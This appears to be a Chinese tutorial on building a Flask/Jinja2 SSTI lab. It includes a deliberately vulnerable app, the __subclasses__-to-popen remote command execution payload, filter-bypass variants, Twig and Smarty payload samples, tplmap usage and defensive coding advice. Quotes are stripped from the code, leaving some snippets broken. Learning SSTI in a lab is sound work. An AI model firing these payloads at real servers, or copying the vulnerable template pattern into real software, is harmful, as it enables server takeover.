别再只盯着SQL注入了!手把手带你复现Flask/Jinja2的SSTI漏洞(附靶场环境)
从零构建Flask SSTI靶场实战化理解模板注入攻击链在Web安全领域SQL注入早已成为入门必修课但服务器端模板注入(SSTI)却因其框架特异性常被初学者忽视。本文将带您亲手搭建一个Flask靶场环境通过可视化攻击链演示如何从简单的{{2*2}}测试逐步升级到完整的系统命令执行。不同于理论讲解我们更关注可复现的实战细节——当您在虚拟机中输入whoami并看到自己的用户名出现在网页上时那种直观的冲击感将彻底改变您对模板安全的认知。1. 环境搭建与漏洞原理可视化1.1 准备Flask实验环境首先创建一个纯净的Python虚拟环境推荐3.6版本这是避免依赖冲突的关键步骤python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac pip install flask jinja2接下来编写存在漏洞的Flask应用代码保存为vuln_app.pyfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): username request.args.get(name, guest) template f html h1Welcome {username}!/h1 /html return render_template_string(template) if __name__ __main__: app.run(debugTrue)关键漏洞点在于render_template_string直接拼接了用户输入的name参数这相当于给模板引擎开了个后门。启动应用后访问http://localhost:5000/?nameWorld会正常显示Welcome World!但危险已悄然埋下。1.2 理解模板引擎的双刃剑特性Jinja2作为Flask默认模板引擎其{{}}语法本应安全地渲染变量但当开发者错误地将用户输入作为模板内容时就会形成注入点。尝试访问http://localhost:5000/?name{{7*7}}页面将显示Welcome 49!这证明服务器执行了我们的数学运算——这就是SSTI的起点。与传统SQL注入不同SSTI直接利用了模板引擎的动态执行能力其危害程度取决于模板引擎的功能设计。表常见模板引擎的SSTI特征对比引擎危险方法典型Payload结构Jinja2__globals__{{ .__class__.__mro__[1].__subclasses__() }}Twig_self{{_self.env.registerUndefinedFilterCallback(exec)}}Smarty{php}{php}echo shell_exec(whoami);{/php}2. 从表达式计算到RCE的完整攻击链2.1 探测模板上下文环境在构造完整攻击前我们需要确认模板环境允许访问哪些Python内置对象。依次尝试以下测试{{ config }} # 查看Flask配置 {{ request.environ }} # 获取环境变量 {{ .__class__ }} # 验证字符串对象访问如果这些请求返回了预期内容说明环境完全开放。特别关注__class__属性它是后续攻击的跳板。2.2 构建对象继承链Python的魔术方法是SSTI的核心突破口以下是关键步骤的演进过程获取基类对象{{ .__class__.__mro__[1] }} # 获取str的父类object枚举所有子类{{ .__class__.__mro__[1].__subclasses__() }} # 列出500个子类定位危险类 在返回的子类列表中搜索os._wrap_close其索引位置因环境而异通常在120-140之间。可以通过浏览器搜索功能快速定位{{ .__class__.__mro__[1].__subclasses__()[138] }}2.3 实现命令执行找到目标类后通过方法链实现RCE{{ .__class__.__mro__[1].__subclasses__()[138]. __init__.__globals__[popen](whoami).read() }}关键突破点解析__init__获取类的初始化方法__globals__访问方法的全局命名空间popen执行系统命令的入口注意实际索引需根据您的环境调整如果报错可尝试附近索引值。建议先输出完整子类列表确认位置。3. 高级利用技巧与防御实践3.1 绕过常见限制的Payload变种当基础Payload被拦截时可尝试这些变形{# 使用不同起始对象 #} {{ [].__class__.__base__.__subclasses__()[138]... }} {# 利用过滤器绕过 #} {{ request|attr(application)|attr(__globals__)... }} {# 十六进制编码 #} {{ .__class__.__mro__[1].__subclasses__()[0x8a]... }}3.2 安全开发规范彻底避免SSTI需要遵循以下原则输入处理# 错误示范 template Hello username # 正确做法 template Hello {{ name }} return render_template_string(template, nameusername)沙箱配置from jinja2 import Environment env Environment(autoescapeTrue, undefinedStrictUndefined)权限控制# 运行Flask时使用低权限用户 sudo -u nobody python vuln_app.py4. 自动化检测与实战演练4.1 使用tplmap进行快速检测这款工具能自动识别模板类型并测试注入点git clone https://github.com/epinna/tplmap cd tplmap python tplmap.py -u http://localhost:5000/?name*4.2 定制化靶场挑战在vuln_app.py中添加不同难度等级的漏洞场景# 中级挑战过滤了双下划线 app.route(/challenge1) def challenge1(): name request.args.get(name, ).replace(__, ) return render_template_string(fHello {name}) # 高级挑战使用了沙箱环境 from jinja2.sandbox import SandboxedEnvironment sandbox_env SandboxedEnvironment() app.route(/challenge2) def challenge2(): name request.args.get(name, ) return sandbox_env.from_string(fHello {name}).render()尝试突破这些限制这将深化您对SSTI本质的理解。例如针对沙箱环境可以研究_内置变量的特殊用法。